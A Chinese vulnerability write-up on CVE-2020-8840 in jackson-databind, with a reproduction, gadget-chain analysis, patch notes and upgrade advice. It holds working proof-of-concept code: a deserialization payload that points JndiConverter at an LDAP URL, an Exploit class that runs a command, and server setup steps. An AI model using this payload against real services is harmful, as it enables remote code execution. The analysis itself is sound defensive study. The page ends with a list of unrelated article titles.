影响范围

  • jackson-databind before 2.9.10.3
  • jackson-databind before 2.8.11.5
  • jackson-databind before 2.7.9.7

漏洞类型

JDNI注入导致RCE

利用条件

  • 开启enableDefaultTyping()
  • 使用了org.apache.xbean.propertyeditor.JndiConverter第三方依赖

漏洞概述

2020年2月,jackson-databind在github上更新了一个新的反序列化利用类org.apache.xbean.propertyeditor.JndiConverter,该类绕过了之前jackson-databind维护的黑名单类,并且JDK版本较低的话,可造成RCE。

漏洞复现

环境搭建

pom.xml如下:

 <dependencies><dependency><groupId>com.fasterxml.jackson.core</groupId><artifactId>jackson-databind</artifactId><version>2.9.9.1</version></dependency><!-- https://mvnrepository.com/artifact/org.apache.xbean/xbean-reflect --><dependency><groupId>org.apache.xbean</groupId><artifactId>xbean-reflect</artifactId><version>4.17</version></dependency><dependency><groupId>org.slf4j</groupId><artifactId>slf4j-nop</artifactId><version>1.7.2</version></dependency><!-- https://mvnrepository.com/artifact/javax.transaction/jta --><dependency><groupId>javax.transaction</groupId><artifactId>jta</artifactId><version>1.1</version></dependency></dependencies>

漏洞利用

这里使用LDAP的利用方式进行漏洞的利用演示,RMI的方式也是类似的,且RMI比LDAP要对JDK版本有很大的局限性~

LDAP利用方式:jdk版本:JDK 11.0.1、8u191、7u201、6u211之前,笔者这里采用JDK 1.8.0_181

编译Exploit.java

Exploit.java代码如下:

import java.lang.Runtime;public class Exploit {static {try {Runtime.getRuntime().exec("calc");} catch (Exception e) {e.printStackTrace();}}
}

编译Exploit.java文件:

搭建HTTP服务

使用Python搭建简易SimpleHTTPServer服务:

python -m  SimpleHTTPServer 4444

搭建LDAP服务

使用marshalsec来启动一个LDAP服务:

执行漏洞POC1

Poc.java代码如下所示:

package com.jacksonTest;import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;public class Poc {public static void main(String[] args) throws Exception {ObjectMapper mapper = new ObjectMapper();mapper.enableDefaultTyping();String payload = "[\"org.apache.xbean.propertyeditor.JndiConverter\", {\"asText\":\"ldap://127.0.0.1:1099/Exploit\"}]";try {Object obj = mapper.readValue(payload, Object.class);} catch (IOException e) {e.printStackTrace();}}
}

之后运行该程序,成功执行命令,弹出计算器:

漏洞分析

首先定位到org.apache.xbean.propertyeditor.JndiConverter类,发现在该类较为简单,且构造函数直接调用父类的构造方法,不过在该类中却调用了lookup对text进行查询,这一点需要留意,看后续是否有与toObjectImpl函数的相关调用点,之后跟进父类AbstractConvert:

在父类中搜索toObjectImpl发现在toObject中有调用,且参数为当前类的text:

之后继续查看toObject的调用,发现在setAsText处调用,且传递的参数为text可控:

综上所述,我们可以指定反序列化类为org.apache.xbean.propertyeditor.JndiConverter,之后指定set方法为asText,之后传递参数为ldap服务地址,之后在setAsText中调用toObject函数,之后在toObject中调用toObjectImp,之后在toObjectImp中执行lookup,从而导致JNDI,最终RCE~

整个利用链如下所示:

mapper.readValue->AbstractConverter.setAsText->AbstractConverter.toObject->JndiConverter.toObjectImpl->lookup

补丁分析

官方在github的更新方式依旧是添加相关类到黑名单,但这种方式治标不治本,后续可能出现其他绕过黑名单的gdaget:

https://github.com/FasterXML/jackson-databind/commit/914e7c9f2cb8ce66724bf26a72adc7e958992497

修复建议

  • 及时将jackson-databind升级到安全版本
  • 升级到较高版本的JDK。

参考链接

https://github.com/FasterXML/jackson-databind/issues/2620

https://github.com/FasterXML/jackson-databind/commit/914e7c9f2cb8ce66724bf26a72adc7e958992497

CVE-2020-8840:Jackson-databind RCE相关推荐

  1. com.fasterxml.jackson.databind.JsonMappingException: Multiple back-reference properties with name ‘d

    今天在写SpringBoot + JPA的时候报了以下的错误 com.fasterxml.jackson.databind.JsonMappingException: Multiple back-re ...

  2. java.lang.ClassNotFoundException: com.fasterxml.jackson.databind.exc.InvalidDefinitionException

    在引入Jacksonjar包时,运行程序抛出了这个异常: java.lang.ClassNotFoundException: com.fasterxml.jackson.databind.exc.In ...

  3. SpringBoot与jackson.databind兼容报错问题

    SpringBoot与jackson.databind兼容报错问题 ---------------- 1.SpringBoot版本V2.0.0 其依赖的jackson-databind版本为V2.9. ...

  4. com.fasterxml.jackson.databind.JsonMappingException: No content to map due to end-of-input

    作者原创,转载请注明转载地址 第一次遇到该异常,在网上搜了很长时间也没找到解决答案,特此记录 1.异常展示: com.fasterxml.jackson.databind.JsonMappingExc ...

  5. 【objectMapper实体转换异常】 com.fasterxml.jackson.databind.exc.MismatchedInputException

    大家好,我是烤鸭: 采坑实录,想把json数据直接转成对象,其中有个属性是list<T>: 异常 1 com.fasterxml.jackson.databind.exc.Mismatch ...

  6. 【jackson 异常】com.fasterxml.jackson.databind.JsonMappingException异常处理

    项目中,父层是Gene.java[基因实体]  子层是Corlib.java[文集库实体],一种基因对用多个文集库文章 但是在查询文集库这个实体的时候报错:[com.fasterxml.jackson ...

  7. 报错, nested exception is com.fasterxml.jackson.databind.exc.MismatchedInputException

    问题: 2021-03-23 16:57:28.461 ERROR 7912 --- [io-12000-exec-1] c.y.w.c.GlobalControllerExceptionHandle ...

  8. 报错,nested exception is com.fasterxml.jackson.databind.exc.InvalidDefinitionException??

    1. 问题: 2021-01-06 15:43:41.663 ERROR 10184 --- [io-13000-exec-2] c.y.a.c.v1.retcode.RetControlller   ...

  9. SpringCloud工作笔记041---com.fasterxml.jackson.databind.ObjectMapper的使用

    JAVA技术交流QQ群:170933152 项目里用到这个: 之前都用阿里,那个fastjson,今天看到了记录 看看我怎么用的: <dependency><groupId>c ...

  10. 【jackson 异常】com.fasterxml.jackson.databind.JsonMappingException异常处理

    [jackson 异常]com.fasterxml.jackson.databind.JsonMappingException异常处理 参考文章: (1)[jackson 异常]com.fasterx ...

最新文章

  1. Mix3D:大规模三维场景的数据增强(3DV2021)
  2. sql中varchar(n),nvarchar(n) 长度性能及所占空间分析
  3. Android-- FragmentStatePagerAdapter分页
  4. Mybatis优缺点
  5. TF之AE:AE实现TF自带数据集AE的encoder之后decoder之前的非监督学习分类
  6. Python中生成一个指定长度的随机字符串实现示例
  7. 关于SVG文件在Firefox中正确显示的研究
  8. TypeScript里的类型合并操作符
  9. 命令行下mysql新建用户及分配权限
  10. IOS应用开发版本控制工具之Versions使用,iosversions
  11. python requests_一起看看Python之Requests库
  12. Java学到什么程度可以找工作?
  13. 时域,空域,频域的基本概念
  14. JDBC连接数据库遇到的“驱动程序无法通过使用安全套接字层(SSL)加密与 SQL Server 建立安全连接。”问题解决方法
  15. 在GPT分区的磁盘上创建ESP分区图文教程
  16. 谷歌adsense作弊的方法
  17. python中使用virtualenv库创建虚拟环境的问题
  18. // 完整的COM例子
  19. Cookies 和 session
  20. 团体程序设计天梯赛-练习集 L2-028 秀恩爱分得快 (25 分) (详细解法)

热门文章

  1. 网页设计案例 马拉松宣传网页设计
  2. Java程序的初始化顺序
  3. Python文件复制
  4. 打飞碟(动作与物理兼容版)
  5. hadoop网页50070只显示主节点DataNode,从节点无展示
  6. 自定义的ValidationSummary控件
  7. html设置打开页面后自动关闭,Win7系统打开IE浏览器后页面自动关闭的四种解决方法...
  8. MySQL服务的启动、连接和停止
  9. 如果不能深爱我会微笑离开
  10. libvirt/qemu外置快照命令